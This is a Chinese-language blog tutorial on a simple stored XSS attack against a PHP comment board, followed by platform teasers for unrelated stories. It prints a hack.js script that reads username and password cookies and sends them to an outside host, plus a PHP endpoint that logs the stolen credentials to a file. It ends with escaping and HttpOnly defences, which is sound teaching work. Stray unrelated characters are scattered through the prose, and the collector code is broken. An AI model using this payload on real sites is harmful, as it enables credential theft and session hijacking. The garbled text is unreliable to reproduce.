XSS攻擊簡單實例

XSS為目前web常見攻擊手段之一民鼓,不了解的同學(xué)可以看我的上一篇文章《常見WEB攻擊之XSS攻擊》

下面我演示一個簡單的留言板攻擊實例

我們有個頁面用于允許用戶發(fā)表留言窃肠,然后在頁面底部顯示留言列表
前端代碼如下:

<!DOCTYPE html><html><head>
    <?php include('/components/headerinclude.php');?></head>
    <style type="text/css">
        .comment-title{
            font-size:14px;
            margin: 6px 0px 2px 4px;
        }

        .comment-body{
            font-size: 14px;
            color:#ccc;
            font-style: italic;
            border-bottom: dashed 1px #ccc;
            margin: 4px;
        }
    </style>
    <script type="text/javascript" src="/js/cookies.js"></script><body>
    <form method="post" action="list.php">
        <div style="margin:20px;">
            <div style="font-size:16px;font-weight:bold;">Your Comment</div>
            <div style="padding:6px;">
                Nick Name:                <br/>
                <input name="name" type="text" style="width:300px;"/>
            </div>
            <div style="padding:6px;">
                Comment:                <br/>
                <textarea name="comment" style="height:100px; width:300px;"></textarea>
            </div>
            <div style="padding-left:230px;">
                <input type="submit" value="POST" style="padding:4px 0px; width:80px;"/>
            </div>
            <div style="border-bottom:solid 1px #fff;margin-top:10px;">
                <div style="font-size:16px;font-weight:bold;">Comments</div>
            </div>
            <?php 
                require('/components/comments.php'); 
                if(!empty($_POST['name'])){
                    addElement($_POST['name'],$_POST['comment']);
                }
                renderComments();            ?>
        </div>
    </form></body></html>

addElement()方法用于添加新的留言包个,而renderComments()方法用于展留言列表,網(wǎng)頁看起來是這樣的


02105935_5hbx.png

XSS攻擊

因為我們完全信任了用戶輸入冤留,但有些別有用心的用戶會像這樣的輸入


02105935_jLwV.png

這樣無論是誰訪問這個頁面的時候控制臺都會輸出“Hey you are a fool fish!”碧囊,如果這只是個惡意的小玩笑,有些人做的事情就不可愛了纤怒,有些用戶會利用這個漏洞竊取用戶信息糯而、誘騙人打開惡意網(wǎng)站或者下載惡意程序等,看個最簡單的例子

利用xss竊取用戶名密碼

當(dāng)然這個示例很簡單泊窘,幾乎攻擊不到任何網(wǎng)站熄驼,僅僅看看其原理。我們知道很多登陸界面都有記住用戶名烘豹、密碼的功能方便用戶下次登錄瓜贾,有些網(wǎng)站是直接用明文記錄用戶名、密碼携悯,惡意用戶注冊賬戶登錄后使用簡單工具查看cookie結(jié)構(gòu)名稱后祭芦,如果網(wǎng)站有xss漏洞,那么簡單的利用jsonp就可以獲取其它用戶的用戶名憔鬼、密碼了龟劲。

惡意用戶會這么輸入


02105935_6Ad3.png

我們看看 http://test.com/hack.js 里藏了什么

var username=CookieHelper.getCookie('username').value;
var password=CookieHelper.getCookie('password').value;
var script =document.createElement('script');
script.src='http://test.com/index.php?username='+username+'&password='+password;
document.body.appendChild(script);

幾句簡單的javascript,獲取cookie中的用戶名密碼轴或,利用jsonp把向 http://test.com/index.php

發(fā)送了一個get請求
http://test.com/index.php

<?php    
if(!empty($_GET['password'])){        
$username=$_GET['username'];        
$password=$_GET['password'];        
      try{           
         $path=$_SERVER["DOCUMENT_ROOT"].'/password.txt';            
         $fp=fopen($path,'a');            
         flock($fp, LOCK_EX);            
         fwrite($fp, "$username\t $password\r\n");           
         flock($fp, LOCK_UN);            
         fclose($fp);
     }catch(Exception $e){
                      ........
      }
 ?>

上面演示的是一個非常簡單的XSS攻擊昌跌,還有很多隱蔽的方式,但是其核心都是利用了腳本注入照雁。
因此我們解決辦法其實很簡單:不信賴用戶輸入蚕愤,對特殊字符如”<”,”>”轉(zhuǎn)義,就可以從根本上防止這一問題饺蚊。使用htmlspecialchars函數(shù)將特殊字符轉(zhuǎn)換成HTML編碼萍诱。

XSS攻擊可以進(jìn)行session劫持:Hack通過腳本注入到應(yīng)用服務(wù)器,待其他真實用戶A登錄訪問含有XSS腳本的網(wǎng)頁卸勺,腳本激活,將客戶的session信息發(fā)送給Hack烫扼,Hack就使用該session直接扮演用戶A訪問服務(wù)器曙求。這種session劫持主要靠XSS漏洞和客戶端獲取sessionId完成,防范分兩步:
1、過濾用戶輸入悟狱,防止XSS漏洞
2.静浴、設(shè)置sessionId的cookie為HttpOnly,使客戶端無法獲取

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末挤渐,一起剝皮案震驚了整個濱河市苹享,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌浴麻,老刑警劉巖得问,帶你破解...
    沈念sama閱讀 217,657評論 6 505
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場離奇詭異软免,居然都是意外死亡宫纬,警方通過查閱死者的電腦和手機(jī),發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 92,889評論 3 394
  • 文/潘曉璐 我一進(jìn)店門膏萧,熙熙樓的掌柜王于貴愁眉苦臉地迎上來漓骚,“玉大人,你說我怎么就攤上這事榛泛◎蝓澹” “怎么了?”我有些...
    開封第一講書人閱讀 164,057評論 0 354
  • 文/不壞的土叔 我叫張陵曹锨,是天一觀的道長孤个。 經(jīng)常有香客問我,道長艘希,這世上最難降的妖魔是什么硼身? 我笑而不...
    開封第一講書人閱讀 58,509評論 1 293
  • 正文 為了忘掉前任,我火速辦了婚禮覆享,結(jié)果婚禮上佳遂,老公的妹妹穿的比我還像新娘。我一直安慰自己撒顿,他們只是感情好丑罪,可當(dāng)我...
    茶點故事閱讀 67,562評論 6 392
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著凤壁,像睡著了一般吩屹。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上拧抖,一...
    開封第一講書人閱讀 51,443評論 1 302
  • 那天煤搜,我揣著相機(jī)與錄音,去河邊找鬼唧席。 笑死擦盾,一個胖子當(dāng)著我的面吹牛嘲驾,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播迹卢,決...
    沈念sama閱讀 40,251評論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼辽故,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了腐碱?” 一聲冷哼從身側(cè)響起誊垢,我...
    開封第一講書人閱讀 39,129評論 0 276
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎症见,沒想到半個月后喂走,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 45,561評論 1 314
  • 正文 獨居荒郊野嶺守林人離奇死亡筒饰,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 37,779評論 3 335
  • 正文 我和宋清朗相戀三年缴啡,在試婚紗的時候發(fā)現(xiàn)自己被綠了。 大學(xué)時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片瓷们。...
    茶點故事閱讀 39,902評論 1 348
  • 序言:一個原本活蹦亂跳的男人離奇死亡业栅,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出谬晕,到底是詐尸還是另有隱情碘裕,我是刑警寧澤,帶...
    沈念sama閱讀 35,621評論 5 345
  • 正文 年R本政府宣布攒钳,位于F島的核電站帮孔,受9級特大地震影響,放射性物質(zhì)發(fā)生泄漏不撑。R本人自食惡果不足惜文兢,卻給世界環(huán)境...
    茶點故事閱讀 41,220評論 3 328
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望焕檬。 院中可真熱鬧姆坚,春花似錦、人聲如沸实愚。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,838評論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽腊敲。三九已至击喂,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間碰辅,已是汗流浹背懂昂。 一陣腳步聲響...
    開封第一講書人閱讀 32,971評論 1 269
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機(jī)就差點兒被人妖公主榨干…… 1. 我叫王不留没宾,地道東北人凌彬。 一個月前我還...
    沈念sama閱讀 48,025評論 2 370
  • 正文 我出身青樓潮尝,卻偏偏與公主長得像,于是被迫代替她去往敵國和親饿序。 傳聞我的和親對象是個殘疾皇子,可洞房花燭夜當(dāng)晚...
    茶點故事閱讀 44,843評論 2 354

推薦閱讀更多精彩內(nèi)容

  • 跨站腳本(XSS)是web應(yīng)用中的一種典型的計算機(jī)安全漏洞羹蚣。XSS允許攻擊者可以在其他用戶瀏覽的web頁面中注入客...
    留七七閱讀 7,952評論 1 26
  • 什么是XSS原探? 跨站腳本(Cross-Site Scripting,XSS)是一種經(jīng)常出現(xiàn)在 Web 應(yīng)用程序中的...
    lokisteven閱讀 1,525評論 0 2
  • 攻擊活動 SQL(結(jié)構(gòu)化查詢語言)注入 概述 一個SQL注入攻擊包含了從應(yīng)用客戶端的輸入數(shù)據(jù)中注入或嵌入的方式顽素,一...
    夏夜星語閱讀 911評論 0 0
  • 本文主要講解具體有哪些攻擊 Web 站點的手段咽弦,以及攻擊會造成怎樣的影響。 針對 Web 應(yīng)用的攻擊模式 對 We...
    杰哥長得帥閱讀 1,689評論 0 5
  • 滾蛋吧胁出,媽寶和寶媽型型! 記得錢鐘書老先生的《圍城》里有這樣一句頗為經(jīng)典的話“婚姻是一座圍城,城外的人想進(jìn)去全蝶,城里...
    踮起腳尖的小姐姐閱讀 267評論 1 2